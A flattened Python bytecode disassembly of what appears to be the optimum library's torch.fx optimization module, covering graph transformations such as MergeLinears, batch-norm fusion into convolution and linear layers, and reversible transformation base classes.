LOAD_NAME add_docstring CALL_FUNCTION LOAD_BUILD_CLASS LOAD_CONST <code object ChangeTrueDivToMulByInverse at 0x7fab4107cd20, file "f.py", line 472> LOAD_CONST 'ChangeTrueDivToMulByInverse' MAKE_FUNCTION LOAD_CONST 'ChangeTrueDivToMulByInverse' LOAD_NAME ReversibleTransformation CALL_FUNCTION CALL_FUNCTION STORE_NAME ChangeTrueDivToMulByInverse LOAD_NAME add_end_docstrings LOAD_NAME _ATTRIBUTES_DOCSTRING CALL_FUNCTION LOAD_BUILD_CLASS LOAD_CONST <code object FuseBatchNorm2dInConv2d at 0x7fab4107cf60, file "f.py", line 503> LOAD_CONST 'FuseBatchNorm2dInConv2d' MAKE_FUNCTION LOAD_CONST 'FuseBatchNorm2dInConv2d' LOAD_NAME Transformation CALL_FUNCTION CALL_FUNCTION STORE_NAME FuseBatchNorm2dInConv2d LOAD_NAME add_end_docstrings LOAD_NAME _ATTRIBUTES_DOCSTRING CALL_FUNCTION LOAD_BUILD_CLASS LOAD_CONST <code object FuseBatchNorm1dInLinear at 0x7fab54381540, file "f.py", line 600> LOAD_CONST 'FuseBatchNorm1dInLinear' MAKE_FUNCTION LOAD_CONST 'FuseBatchNorm1dInLinear' LOAD_NAME Transformation CALL_FUNCTION CALL_FUNCTION STORE_NAME FuseBatchNorm1dInLinear LOAD_BUILD_CLASS LOAD_CONST <code object DeepCopy at 0x7fab54381270, file "f.py", line 755> LOAD_CONST 'DeepCopy' MAKE_FUNCTION LOAD_CONST 'DeepCopy' LOAD_NAME ReversibleTransformation CALL_FUNCTION STORE_NAME DeepCopy LOAD_BUILD_CLASS LOAD_CONST <code object LintAndRecompile at 0x7fab543816f0, file "f.py", line 773> LOAD_CONST 'LintAndRecompile' MAKE_FUNCTION LOAD_CONST 'LintAndRecompile' LOAD_NAME ReversibleTransformation CALL_FUNCTION STORE_NAME LintAndRecompile LOAD_CONST True LOAD_CONST ('inplace',) BUILD_CONST_KEY_MAP LOAD_NAME Transformation LOAD_NAME bool LOAD_NAME Transformation LOAD_CONST ('args', 'inplace', 'return') BUILD_CONST_KEY_MAP LOAD_CONST <code object compose at 0x7fab81f08540, file "f.py", line 789> LOAD_CONST 'compose' MAKE_FUNCTION STORE_NAME compose LOAD_CONST None RETURN_VALUE LOAD_CLOSURE add_example BUILD_TUPLE LOAD_CONST <code object wrapper at 0x7fab7006d270, file "f.py", line 59> LOAD_CONST 'add_docstring.<locals>.wrapper' MAKE_FUNCTION STORE_FAST wrapper LOAD_FAST wrapper RETURN_VALUE LOAD_GLOBAL _EXAMPLE_DOCSTRING STORE_FAST example_docstring LOAD_CONST 'ReversibleTransformation' LOAD_CONST <code object <genexpr> at 0x7fab7006dd20, file "f.py", line 61> LOAD_CONST 'add_docstring.<locals>.wrapper.<locals>.<genexpr>' MAKE_FUNCTION LOAD_FAST class_ LOAD_METHOD mro CALL_METHOD GET_ITER CALL_FUNCTION COMPARE_OP in POP_JUMP_IF_FALSE LOAD_GLOBAL _REVERSIBLE_EXAMPLE_DOCSTRING STORE_FAST example_docstring LOAD_FAST class_ LOAD_ATTR __doc__ FORMAT_VALUE LOAD_GLOBAL _ATTRIBUTES_DOCSTRING FORMAT_VALUE BUILD_LIST STORE_FAST new_doc LOAD_DEREF add_example POP_JUMP_IF_FALSE LOAD_FAST new_doc LOAD_METHOD append LOAD_CONST 'Example:' CALL_METHOD POP_TOP LOAD_FAST new_doc LOAD_METHOD append LOAD_CONST '\t' LOAD_FAST example_docstring LOAD_ATTR format LOAD_FAST class_ LOAD_ATTR __name__ LOAD_CONST ('class_name',) CALL_FUNCTION FORMAT_VALUE BUILD_STRING CALL_METHOD POP_TOP LOAD_CONST '\n' LOAD_METHOD join LOAD_FAST new_doc CALL_METHOD LOAD_FAST class_ STORE_ATTR __doc__ LOAD_FAST class_ RETURN_VALUE LOAD_FAST .0 FOR_ITER to 16 STORE_FAST cls LOAD_FAST cls LOAD_ATTR __name__ YIELD_VALUE POP_TOP JUMP_ABSOLUTE LOAD_CONST None RETURN_VALUE LOAD_NAME __name__ STORE_NAME __module__ LOAD_CONST 'Transformation' STORE_NAME __qualname__ SETUP_ANNOTATIONS LOAD_CONST '\n A torch.fx graph transformation.\n\n It must implement the [`~optimum.fx.optimization.ReversibleTransformation.transform`] method, and be used as a\n callable.\n ' STORE_NAME __doc__ LOAD_CONST False STORE_NAME preserves_computation LOAD_NAME bool LOAD_NAME __annotations__ LOAD_CONST 'preserves_computation' STORE_SUBSCR LOAD_NAME abstractmethod LOAD_CONST 'GraphModule' LOAD_CONST 'GraphModule' LOAD_CONST ('graph_module', 'return') BUILD_CONST_KEY_MAP LOAD_CONST <code object transform at 0x7fab7006d1e0, file "f.py", line 85> LOAD_CONST 'Transformation.transform' MAKE_FUNCTION CALL_FUNCTION STORE_NAME transform LOAD_CONST (True,) LOAD_CONST 'GraphModule' LOAD_NAME bool LOAD_CONST 'GraphModule' LOAD_CONST ('graph_module', 'lint_and_recompile', 'return') BUILD_CONST_KEY_MAP LOAD_CONST <code object __call__ at 0x7fab7006d930, file "f.py", line 98> LOAD_CONST 'Transformation.__call__' MAKE_FUNCTION STORE_NAME __call__ LOAD_NAME property LOAD_CONST <code object signature at 0x7fab7006d0c0, file "f.py", line 119> LOAD_CONST 'Transformation.signature' MAKE_FUNCTION CALL_FUNCTION STORE_NAME signature LOAD_CONST 'Node' LOAD_CONST ('node',) BUILD_CONST_KEY_MAP LOAD_CONST <code object mark_as_transformed at 0x7fab7006de40, file "f.py", line 131> LOAD_CONST 'Transformation.mark_as_transformed' MAKE_FUNCTION STORE_NAME mark_as_transformed LOAD_CONST 'Node' LOAD_NAME bool LOAD_CONST ('node', 'return') BUILD_CONST_KEY_MAP LOAD_CONST <code object transformed at 0x7fab7006d6f0, file "f.py", line 143> LOAD_CONST 'Transformation.transformed' MAKE_FUNCTION STORE_NAME transformed LOAD_CONST 'GraphModule' LOAD_NAME List LOAD_CONST 'Node' BINARY_SUBSCR LOAD_CONST ('graph_module', 'return') BUILD_CONST_KEY_MAP LOAD_CONST <code object get_transformed_nodes at 0x7fab7006d780, file "f.py", line 155> LOAD_CONST 'Transformation.get_transformed_nodes' MAKE_FUNCTION STORE_NAME get_transformed_nodes LOAD_CONST None RETURN_VALUE LOAD_GLOBAL NotImplementedError LOAD_CONST 'The transform method needs to be implemented.' CALL_FUNCTION RAISE_VARARGS LOAD_CONST None RETURN_VALUE LOAD_FAST self LOAD_METHOD transform LOAD_FAST graph_module CALL_METHOD STORE_FAST graph_module LOAD_FAST lint_and_recompile POP_JUMP_IF_FALSE LOAD_FAST graph_module LOAD_ATTR graph LOAD_METHOD lint CALL_METHOD POP_TOP LOAD_FAST graph_module LOAD_METHOD recompile CALL_METHOD POP_TOP LOAD_FAST graph_module RETURN_VALUE LOAD_GLOBAL vars LOAD_FAST self CALL_FUNCTION STORE_FAST attributes_to_use_for_hashing LOAD_FAST self LOAD_ATTR __class__ LOAD_FAST attributes_to_use_for_hashing LOAD_CONST '' STORE_SUBSCR LOAD_CONST '_' LOAD_METHOD join LOAD_CONST <code object <genexpr> at 0x7fab7006df60, file "f.py", line 127> LOAD_CONST 'Transformation.signature.<locals>.<genexpr>' MAKE_FUNCTION LOAD_FAST attributes_to_use_for_hashing LOAD_METHOD items CALL_METHOD GET_ITER CALL_FUNCTION CALL_METHOD STORE_FAST hash_str LOAD_GLOBAL hash LOAD_FAST hash_str CALL_FUNCTION RETURN_VALUE LOAD_FAST .0 FOR_ITER to 32 UNPACK_SEQUENCE STORE_FAST k STORE_FAST v LOAD_FAST k FORMAT_VALUE LOAD_CONST '_' LOAD_GLOBAL hash LOAD_FAST v CALL_FUNCTION FORMAT_VALUE BUILD_STRING YIELD_VALUE POP_TOP JUMP_ABSOLUTE LOAD_CONST None RETURN_VALUE LOAD_GLOBAL getattr LOAD_FAST node LOAD_CONST 'transformations' LOAD_GLOBAL set CALL_FUNCTION CALL_FUNCTION STORE_FAST node_transformations LOAD_FAST node_transformations LOAD_METHOD add LOAD_FAST self LOAD_ATTR signature CALL_METHOD POP_TOP LOAD_FAST node_transformations LOAD_FAST node STORE_ATTR transformations LOAD_CONST None RETURN_VALUE LOAD_FAST self LOAD_ATTR signature LOAD_GLOBAL getattr LOAD_FAST node LOAD_CONST 'transformations' LOAD_GLOBAL set CALL_FUNCTION CALL_FUNCTION COMPARE_OP in RETURN_VALUE LOAD_CLOSURE self BUILD_TUPLE LOAD_CONST <code object <listcomp> at 0x7fab7006d8a0, file "f.py", line 166> LOAD_CONST 'Transformation.get_transformed_nodes.<locals>.<listcomp>' MAKE_FUNCTION LOAD_FAST graph_module LOAD_ATTR graph LOAD_ATTR nodes GET_ITER CALL_FUNCTION RETURN_VALUE BUILD_LIST LOAD_FAST .0 FOR_ITER to 24 STORE_FAST node LOAD_DEREF self LOAD_METHOD transformed LOAD_FAST node CALL_METHOD POP_JUMP_IF_FALSE LOAD_FAST node LIST_APPEND JUMP_ABSOLUTE RETURN_VALUE LOAD_NAME __name__ STORE_NAME __module__ LOAD_CONST 'ReversibleTransformation' STORE_NAME __qualname__ LOAD_CONST '\n A torch.fx graph transformation that is reversible.\n\n It must implement the [`~optimum.fx.optimization.ReversibleTransformation.transform`] and\n [`~optimum.fx.optimization.ReversibleTransformation.reverse`] methods, and be used as a callable.\n ' STORE_NAME __doc__ LOAD_NAME abstractmethod LOAD_CONST 'GraphModule' LOAD_CONST 'GraphModule' LOAD_CONST ('graph_module', 'return') BUILD_CONST_KEY_MAP LOAD_CONST <code object reverse at 0x7fab40ea6150, file "f.py", line 178> LOAD_CONST 'ReversibleTransformation.reverse' MAKE_FUNCTION CALL_FUNCTION STORE_NAME reverse LOAD_CONST (True, False) LOAD_CONST 'GraphModule' LOAD_NAME bool LOAD_NAME bool LOAD_CONST 'GraphModule' LOAD_CONST ('graph_module', 'lint_and_recompile', 'reverse', 'return') BUILD_CONST_KEY_MAP LOAD_CONST <code object __call__ at 0x7fab40ea6ed0, file "f.py", line 193> LOAD_CONST 'ReversibleTransformation.__call__' MAKE_FUNCTION STORE_NAME __call__ LOAD_CONST 'Node' LOAD_CONST ('node',) BUILD_CONST_KEY_MAP LOAD_CONST <code object mark_as_restored at 0x7fab40ea6a50, file "f.py", line 221> LOAD_CONST 'ReversibleTransformation.mark_as_restored' MAKE_FUNCTION STORE_NAME mark_as_restored LOAD_CONST None RETURN_VALUE LOAD_GLOBAL NotImplementedError LOAD_CONST 'The reverse transform method needs to be implemented.' CALL_FUNCTION RAISE_VARARGS LOAD_CONST None RETURN_VALUE LOAD_FAST reverse POP_JUMP_IF_TRUE LOAD_FAST self LOAD_ATTR transform JUMP_FORWARD to 14 LOAD_FAST self LOAD_ATTR reverse STORE_FAST func LOAD_FAST func LOAD_FAST graph_module CALL_FUNCTION STORE_FAST graph_module LOAD_FAST lint_and_recompile POP_JUMP_IF_FALSE LOAD_FAST graph_module LOAD_ATTR graph LOAD_METHOD lint CALL_METHOD POP_TOP LOAD_FAST graph_module LOAD_METHOD recompile CALL_METHOD POP_TOP LOAD_FAST graph_module RETURN_VALUE LOAD_GLOBAL getattr LOAD_FAST node LOAD_CONST 'transformations' LOAD_GLOBAL set CALL_FUNCTION CALL_FUNCTION STORE_FAST node_transformations LOAD_FAST self LOAD_ATTR signature LOAD_FAST node_transformations COMPARE_OP not in POP_JUMP_IF_FALSE LOAD_GLOBAL ValueError LOAD_CONST 'The node was not transformed by this transformation.' CALL_FUNCTION RAISE_VARARGS LOAD_FAST node_transformations LOAD_METHOD remove LOAD_FAST self LOAD_ATTR signature CALL_METHOD POP_TOP LOAD_CONST None RETURN_VALUE LOAD_NAME __name__ STORE_NAME __module__ LOAD_CONST 'MergeLinears' STORE_NAME __qualname__ LOAD_CONST '\n Transformation that merges linear layers that take the same input into one big linear layer.\n ' STORE_NAME __doc__ LOAD_CONST True STORE_NAME preserves_computation LOAD_NAME staticmethod LOAD_NAME torch LOAD_ATTR nn LOAD_ATTR Linear LOAD_NAME torch LOAD_ATTR Tensor LOAD_CONST ('linear', 'return') BUILD_CONST_KEY_MAP LOAD_CONST <code object _get_bias at 0x7fab40ea6300, file "f.py", line 243> LOAD_CONST 'MergeLinears._get_bias' MAKE_FUNCTION CALL_FUNCTION STORE_NAME _get_bias LOAD_NAME staticmethod LOAD_CONST <code object _get_linear_module_name at 0x7fab40ea61e0, file "f.py", line 251> LOAD_CONST 'MergeLinears._get_linear_module_name' MAKE_FUNCTION CALL_FUNCTION STORE_NAME _get_linear_module_name LOAD_NAME staticmethod LOAD_CONST <code object _linear_node_to_module_and_attribute_name at 0x7fab40ea6930, file "f.py", line 255> LOAD_CONST 'MergeLinears._linear_node_to_module_and_attribute_name' MAKE_FUNCTION CALL_FUNCTION STORE_NAME _linear_node_to_module_and_attribute_name LOAD_CONST 'GraphModule' LOAD_CONST 'Node' LOAD_NAME List LOAD_CONST 'Node' BINARY_SUBSCR LOAD_NAME List LOAD_NAME torch LOAD_ATTR nn LOAD_ATTR Linear BINARY_SUBSCR LOAD_CONST ('graph_module', 'input_node', 'linear_nodes', 'linears') BUILD_CONST_KEY_MAP LOAD_CONST <code object _merge_linears at 0x7fab40ea6b70, file "f.py", line 264> LOAD_CONST 'MergeLinears._merge_linears' MAKE_FUNCTION STORE_NAME _merge_linears LOAD_NAME staticmethod LOAD_CONST 'GraphModule' LOAD_CONST 'Node' LOAD_NAME torch LOAD_ATTR nn LOAD_ATTR Linear LOAD_CONST ('graph_module', 'merged_linear_node', 'merged_linear') BUILD_CONST_KEY_MAP LOAD_CONST <code object _unmerge_linears at 0x7fab40ea6f60, file "f.py", line 331> LOAD_CONST 'MergeLinears._unmerge_linears' MAKE_FUNCTION CALL_FUNCTION STORE_NAME _unmerge_linears LOAD_CONST 'GraphModule' LOAD_CONST 'GraphModule' LOAD_CONST ('graph_module', 'return') BUILD_CONST_KEY_MAP LOAD_CONST <code object transform at 0x7fab543e7300, file "f.py", line 389> LOAD_CONST 'MergeLinears.transform' MAKE_FUNCTION STORE_NAME transform LOAD_CONST 'GraphModule' LOAD_CONST 'GraphModule' LOAD_CONST ('graph_module', 'return') BUILD_CONST_KEY_MAP LOAD_CONST <code object reverse at 0x7fab543e7660, file "f.py", line 406> LOAD_CONST 'MergeLinears.reverse' MAKE_FUNCTION STORE_NAME reverse LOAD_CONST None RETURN_VALUE LOAD_FAST linear LOAD_ATTR bias LOAD_CONST None COMPARE_OP is not POP_JUMP_IF_FALSE LOAD_FAST linear LOAD_ATTR bias RETURN_VALUE LOAD_GLOBAL torch LOAD_ATTR zeros LOAD_FAST linear LOAD_ATTR out_features LOAD_FAST linear LOAD_ATTR weight LOAD_ATTR dtype LOAD_CONST ('dtype',) CALL_FUNCTION LOAD_METHOD to LOAD_FAST linear LOAD_ATTR weight LOAD_ATTR device CALL_METHOD RETURN_VALUE LOAD_FAST linear_node LOAD_ATTR target LOAD_METHOD split LOAD_CONST '.' CALL_METHOD LOAD_CONST -1 BINARY_SUBSCR RETURN_VALUE LOAD_FAST linear_node_target LOAD_METHOD split LOAD_CONST '.' CALL_METHOD STORE_FAST names LOAD_FAST graph_module STORE_FAST mod LOAD_GLOBAL len LOAD_FAST names CALL_FUNCTION LOAD_CONST 1 COMPARE_OP > POP_JUMP_IF_FALSE SETUP_LOOP to 58 LOAD_FAST names LOAD_CONST None LOAD_CONST -1 BUILD_SLICE BINARY_SUBSCR GET_ITER FOR_ITER to 56 STORE_FAST name LOAD_GLOBAL getattr LOAD_FAST mod LOAD_FAST name CALL_FUNCTION STORE_FAST mod JUMP_ABSOLUTE POP_BLOCK LOAD_FAST mod LOAD_FAST names LOAD_CONST -1 BINARY_SUBSCR BUILD_TUPLE RETURN_VALUE LOAD_FAST linears LOAD_CONST 0 BINARY_SUBSCR LOAD_ATTR in_features STORE_FAST in_features LOAD_CONST <code object <listcomp> at 0x7fab40ea6660, file "f.py", line 272> LOAD_CONST 'MergeLinears._merge_linears.<locals>.<listcomp>' MAKE_FUNCTION LOAD_FAST linears GET_ITER CALL_FUNCTION STORE_FAST out_features LOAD_GLOBAL sum LOAD_FAST out_features CALL_FUNCTION STORE_FAST total_out_features LOAD_GLOBAL any LOAD_CONST <code object <genexpr> at 0x7fab40ea6c90, file "f.py", line 274> LOAD_CONST 'MergeLinears._merge_linears.<locals>.<genexpr>' MAKE_FUNCTION LOAD_FAST linears GET_ITER CALL_FUNCTION CALL_FUNCTION STORE_FAST use_bias LOAD_FAST use_bias POP_JUMP_IF_FALSE LOAD_GLOBAL all LOAD_CONST <code object <genexpr> at 0x7fab40ea6420, file "f.py", line 275> LOAD_CONST 'MergeLinears._merge_linears.<locals>.<genexpr>' MAKE_FUNCTION LOAD_FAST linears GET_ITER CALL_FUNCTION CALL_FUNCTION POP_JUMP_IF_TRUE LOAD_GLOBAL warnings LOAD_METHOD warn LOAD_CONST 'Not all the linear layers that are merged contain a bias, but some do. By merging, this is equivalent to adding a bias to the layers missing one.' CALL_METHOD POP_TOP LOAD_GLOBAL torch LOAD_ATTR nn LOAD_ATTR Linear LOAD_FAST in_features LOAD_FAST total_out_features LOAD_FAST use_bias LOAD_CONST ('bias',) CALL_FUNCTION STORE_FAST merged_linear LOAD_FAST linears LOAD_CONST 0 BINARY_SUBSCR LOAD_ATTR weight LOAD_ATTR dtype STORE_FAST dtype LOAD_FAST linears LOAD_CONST 0 BINARY_SUBSCR LOAD_ATTR weight LOAD_ATTR device STORE_FAST device LOAD_GLOBAL torch LOAD_METHOD no_grad CALL_METHOD SETUP_WITH to 238 POP_TOP LOAD_GLOBAL torch LOAD_ATTR cat LOAD_CONST <code object <listcomp> at 0x7fab40ea64b0, file "f.py", line 290> LOAD_CONST 'MergeLinears._merge_linears.<locals>.<listcomp>' MAKE_FUNCTION LOAD_FAST linears GET_ITER CALL_FUNCTION LOAD_CONST 0 LOAD_CONST ('dim',) CALL_FUNCTION LOAD_ATTR to LOAD_FAST dtype LOAD_FAST device LOAD_CONST ('dtype', 'device') CALL_FUNCTION STORE_FAST new_weight LOAD_GLOBAL torch LOAD_ATTR nn LOAD_METHOD Parameter LOAD_FAST new_weight CALL_METHOD LOAD_FAST merged_linear STORE_ATTR weight LOAD_FAST use_bias POP_JUMP_IF_FALSE LOAD_GLOBAL torch LOAD_ATTR cat LOAD_CONST <code object <listcomp> at 0x7fab40ea6ae0, file "f.py", line 296> LOAD_CONST 'MergeLinears._merge_linears.<locals>.<listcomp>' MAKE_FUNCTION LOAD_FAST linears GET_ITER CALL_FUNCTION LOAD_CONST 0 LOAD_CONST ('dim',) CALL_FUNCTION LOAD_ATTR to LOAD_FAST dtype LOAD_FAST device LOAD_CONST ('dtype', 'device') CALL_FUNCTION STORE_FAST new_bias LOAD_GLOBAL torch LOAD_ATTR nn LOAD_METHOD Parameter LOAD_FAST new_bias CALL_METHOD LOAD_FAST merged_linear STORE_ATTR bias POP_BLOCK LOAD_CONST None WITH_CLEANUP_START WITH_CLEANUP_FINISH END_FINALLY LOAD_CONST <code object <listcomp> at 0x7fab40ea6390, file "f.py", line 301> LOAD_CONST 'MergeLinears._merge_linears.<locals>.<listcomp>' MAKE_FUNCTION LOAD_FAST linear_nodes GET_ITER CALL_FUNCTION STORE_FAST linear_module_names LOAD_CONST '-' LOAD_METHOD join LOAD_FAST linear_module_names LOAD_CONST 'merged' BUILD_LIST BINARY_ADD CALL_METHOD STORE_FAST merged_linear_name LOAD_FAST linear_nodes LOAD_CONST 0 BINARY_SUBSCR LOAD_ATTR target LOAD_ATTR rsplit LOAD_CONST '.' LOAD_CONST 1 LOAD_CONST ('maxsplit',) CALL_FUNCTION LOAD_CONST 0 BINARY_SUBSCR STORE_FAST fully_qualified_parent_name LOAD_FAST graph_module LOAD_METHOD get_submodule LOAD_FAST fully_qualified_parent_name CALL_METHOD STORE_FAST parent_module LOAD_FAST parent_module LOAD_METHOD add_module LOAD_FAST merged_linear_name LOAD_FAST merged_linear CALL_METHOD POP_TOP SETUP_LOOP to 364 LOAD_FAST linear_nodes GET_ITER FOR_ITER to 362 STORE_FAST linear_node LOAD_GLOBAL MergeLinears LOAD_METHOD _linear_node_to_module_and_attribute_name LOAD_FAST graph_module LOAD_FAST linear_node LOAD_ATTR target CALL_METHOD UNPACK_SEQUENCE STORE_FAST mod STORE_FAST name LOAD_GLOBAL delattr LOAD_FAST mod LOAD_FAST name CALL_FUNCTION POP_TOP EXTENDED_ARG JUMP_ABSOLUTE POP_BLOCK LOAD_FAST graph_module LOAD_ATTR graph STORE_FAST graph LOAD_FAST graph LOAD_METHOD inserting_before LOAD_FAST linear_nodes LOAD_CONST 0 BINARY_SUBSCR CALL_METHOD SETUP_WITH to 446 POP_TOP LOAD_CONST '.' LOAD_METHOD join LOAD_FAST fully_qualified_parent_name LOAD_FAST merged_linear_name BUILD_LIST CALL_METHOD STORE_FAST fully_qualified_merged_linear_name LOAD_FAST graph LOAD_ATTR call_module LOAD_FAST fully_qualified_merged_linear_name LOAD_FAST input_node BUILD_TUPLE LOAD_CONST ('args',) CALL_FUNCTION STORE_FAST merged_linear_node LOAD_FAST self LOAD_METHOD mark_as_transformed LOAD_FAST merged_linear_node CALL_METHOD POP_TOP LOAD_CONST <code object <listcomp> at 0x7fab40ea6030, file "f.py", line 322> LOAD_CONST 'MergeLinears._merge_linears.<locals>.<listcomp>' MAKE_FUNCTION LOAD_FAST linear_nodes GET_ITER CALL_FUNCTION LOAD_FAST merged_linear_node STORE_ATTR linear_node_targets POP_BLOCK LOAD_CONST None WITH_CLEANUP_START WITH_CLEANUP_FINISH END_FINALLY LOAD_GLOBAL list LOAD_GLOBAL itertools LOAD_METHOD accumulate LOAD_CONST 0 BUILD_LIST LOAD_FAST out_features BINARY_ADD CALL_METHOD CALL_FUNCTION STORE_FAST accum_out_features SETUP_LOOP to 546 LOAD_GLOBAL enumerate LOAD_FAST linear_nodes CALL_FUNCTION GET_ITER FOR_ITER to 544 UNPACK_SEQUENCE STORE_FAST idx STORE_FAST node LOAD_CONST 'call_function' LOAD_FAST node STORE_ATTR op LOAD_GLOBAL operator LOAD_ATTR getitem LOAD_FAST node STORE_ATTR target LOAD_GLOBAL slice LOAD_FAST accum_out_features LOAD_FAST idx BINARY_SUBSCR LOAD_FAST accum_out_features LOAD_FAST idx LOAD_CONST 1 BINARY_ADD BINARY_SUBSCR CALL_FUNCTION STORE_FAST slice_to_get LOAD_FAST merged_linear_node LOAD_GLOBAL Ellipsis LOAD_FAST slice_to_get BUILD_TUPLE BUILD_TUPLE LOAD_FAST node STORE_ATTR args EXTENDED_ARG JUMP_ABSOLUTE POP_BLOCK LOAD_CONST None RETURN_VALUE BUILD_LIST LOAD_FAST .0 FOR_ITER to 16 STORE_FAST linear LOAD_FAST linear LOAD_ATTR out_features LIST_APPEND JUMP_ABSOLUTE RETURN_VALUE LOAD_FAST .0 FOR_ITER to 20 STORE_FAST linear LOAD_GLOBAL hasattr LOAD_FAST linear LOAD_CONST 'bias' CALL_FUNCTION YIELD_VALUE POP_TOP JUMP_ABSOLUTE LOAD_CONST None RETURN_VALUE LOAD_FAST .0 FOR_ITER to 20 STORE_FAST linear LOAD_GLOBAL hasattr LOAD_FAST linear LOAD_CONST 'bias' CALL_FUNCTION YIELD_VALUE POP_TOP JUMP_ABSOLUTE LOAD_CONST None RETURN_VALUE BUILD_LIST LOAD_FAST .0 FOR_ITER to 16 STORE_FAST linear LOAD_FAST linear LOAD_ATTR weight LIST_APPEND JUMP_ABSOLUTE RETURN_VALUE BUILD_LIST LOAD_FAST .0 FOR_ITER to 20 STORE_FAST linear LOAD_GLOBAL MergeLinears LOAD_METHOD _get_bias LOAD_FAST linear CALL_METHOD LIST_APPEND JUMP_ABSOLUTE RETURN_VALUE BUILD_LIST LOAD_FAST .0 FOR_ITER to 20 STORE_FAST node LOAD_GLOBAL MergeLinears LOAD_METHOD _get_linear_module_name LOAD_FAST node CALL_METHOD LIST_APPEND JUMP_ABSOLUTE RETURN_VALUE BUILD_LIST LOAD_FAST .0 FOR_ITER to 16 STORE_FAST n LOAD_FAST n LOAD_ATTR target LIST_APPEND JUMP_ABSOLUTE RETURN_VALUE LOAD_FAST merged_linear_node LOAD_ATTR linear_node_targets STORE_FAST linear_node_targets LOAD_GLOBAL sorted LOAD_FAST merged_linear_node LOAD_ATTR users LOAD_CONST <code object <lambda> at 0x7fab40ea6d20, file "f.py", line 339> LOAD_CONST 'MergeLinears._unmerge_linears.<locals>.<lambda>' MAKE_FUNCTION LOAD_CONST ('key',) CALL_FUNCTION STORE_FAST output_nodes LOAD_DEREF merged_linear LOAD_ATTR in_features STORE_DEREF in_features BUILD_LIST STORE_FAST out_features SETUP_LOOP to 80 LOAD_FAST output_nodes GET_ITER FOR_ITER to 78 STORE_FAST node LOAD_FAST node LOAD_ATTR args LOAD_CONST 1 BINARY_SUBSCR LOAD_CONST 1 BINARY_SUBSCR STORE_FAST slice_to_get LOAD_FAST out_features LOAD_METHOD append LOAD_FAST slice_to_get LOAD_ATTR stop LOAD_FAST slice_to_get LOAD_ATTR start BINARY_SUBTRACT CALL_METHOD POP_TOP JUMP_ABSOLUTE POP_BLOCK LOAD_CLOSURE in_features LOAD_CLOSURE merged_linear BUILD_TUPLE LOAD_CONST <code object <listcomp> at 0x7fab40ea6810, file "f.py", line 349> LOAD_CONST 'MergeLinears._unmerge_linears.<locals>.<listcomp>' MAKE_FUNCTION LOAD_FAST out_features GET_ITER CALL_FUNCTION STORE_FAST linears SETUP_LOOP to 282 LOAD_GLOBAL zip LOAD_FAST linear_node_targets LOAD_FAST output_nodes LOAD_FAST linears CALL_FUNCTION GET_ITER FOR_ITER to 280 UNPACK_SEQUENCE STORE_FAST target STORE_FAST node STORE_FAST linear LOAD_GLOBAL torch LOAD_METHOD no_grad CALL_METHOD SETUP_WITH to 218 POP_TOP LOAD_FAST node LOAD_ATTR args LOAD_CONST 1 BINARY_SUBSCR LOAD_CONST 1 BINARY_SUBSCR STORE_FAST slice_to_get LOAD_GLOBAL torch LOAD_ATTR nn LOAD_METHOD Parameter LOAD_DEREF merged_linear LOAD_ATTR weight LOAD_FAST slice_to_get LOAD_ATTR start LOAD_FAST slice_to_get LOAD_ATTR stop BUILD_SLICE BINARY_SUBSCR CALL_METHOD LOAD_FAST linear STORE_ATTR weight LOAD_GLOBAL hasattr LOAD_DEREF merged_linear LOAD_CONST 'bias' CALL_FUNCTION POP_JUMP_IF_FALSE LOAD_GLOBAL torch LOAD_ATTR nn LOAD_METHOD Parameter LOAD_DEREF merged_linear LOAD_ATTR bias LOAD_FAST slice_to_get LOAD_ATTR start LOAD_FAST slice_to_get LOAD_ATTR stop BUILD_SLICE BINARY_SUBSCR CALL_METHOD LOAD_FAST linear STORE_ATTR bias POP_BLOCK LOAD_CONST None WITH_CLEANUP_START WITH_CLEANUP_FINISH END_FINALLY LOAD_GLOBAL MergeLinears LOAD_METHOD _linear_node_to_module_and_attribute_name LOAD_FAST graph_module LOAD_FAST target CALL_METHOD UNPACK_SEQUENCE STORE_FAST parent_module STORE_FAST name LOAD_FAST parent_module LOAD_METHOD add_module LOAD_FAST name LOAD_FAST linear CALL_METHOD POP_TOP LOAD_CONST 'call_module' LOAD_FAST node STORE_ATTR op LOAD_FAST target LOAD_FAST node STORE_ATTR target LOAD_FAST merged_linear_node LOAD_ATTR args LOAD_CONST 0 BINARY_SUBSCR BUILD_TUPLE LOAD_FAST node STORE_ATTR args JUMP_ABSOLUTE POP_BLOCK LOAD_GLOBAL MergeLinears LOAD_METHOD _linear_node_to_module_and_attribute_name LOAD_FAST graph_module LOAD_FAST merged_linear_node LOAD_ATTR target CALL_METHOD UNPACK_SEQUENCE STORE_FAST parent_module STORE_FAST merged_linear_name LOAD_GLOBAL delattr LOAD_FAST parent_module LOAD_FAST merged_linear_name CALL_FUNCTION POP_TOP LOAD_FAST graph_module LOAD_ATTR graph LOAD_METHOD erase_node LOAD_FAST merged_linear_node CALL_METHOD POP_TOP LOAD_CONST None RETURN_VALUE LOAD_FAST node LOAD_ATTR args LOAD_CONST 1 BINARY_SUBSCR LOAD_CONST 1 BINARY_SUBSCR LOAD_ATTR start RETURN_VALUE BUILD_LIST LOAD_FAST .0 FOR_ITER to 46 STORE_FAST out_feat LOAD_GLOBAL torch LOAD_ATTR nn LOAD_ATTR Linear LOAD_DEREF in_features LOAD_FAST out_feat LOAD_GLOBAL hasattr LOAD_DEREF merged_linear LOAD_CONST 'bias' CALL_FUNCTION LOAD_DEREF merged_linear LOAD_ATTR weight LOAD_ATTR device LOAD_DEREF merged_linear LOAD_ATTR weight LOAD_ATTR dtype LOAD_CONST ('bias', 'device', 'dtype') CALL_FUNCTION LIST_APPEND JUMP_ABSOLUTE RETURN_VALUE LOAD_GLOBAL collections LOAD_METHOD defaultdict LOAD_GLOBAL list CALL_METHOD STORE_FAST candidates SETUP_LOOP to 92 LOAD_FAST graph_module LOAD_ATTR graph LOAD_ATTR nodes GET_ITER FOR_ITER to 90 STORE_FAST node LOAD_FAST node LOAD_ATTR op LOAD_CONST 'call_module' COMPARE_OP == POP_JUMP_IF_FALSE LOAD_FAST graph_module LOAD_METHOD get_submodule LOAD_FAST node LOAD_ATTR target CALL_METHOD STORE_FAST mod LOAD_GLOBAL isinstance LOAD_FAST mod LOAD_GLOBAL torch LOAD_ATTR nn LOAD_ATTR Linear CALL_FUNCTION POP_JUMP_IF_FALSE LOAD_FAST node LOAD_ATTR args LOAD_CONST 0 BINARY_SUBSCR STORE_FAST input_node LOAD_FAST candidates LOAD_FAST input_node BINARY_SUBSCR LOAD_METHOD append LOAD_FAST node LOAD_FAST mod BUILD_TUPLE CALL_METHOD POP_TOP JUMP_ABSOLUTE 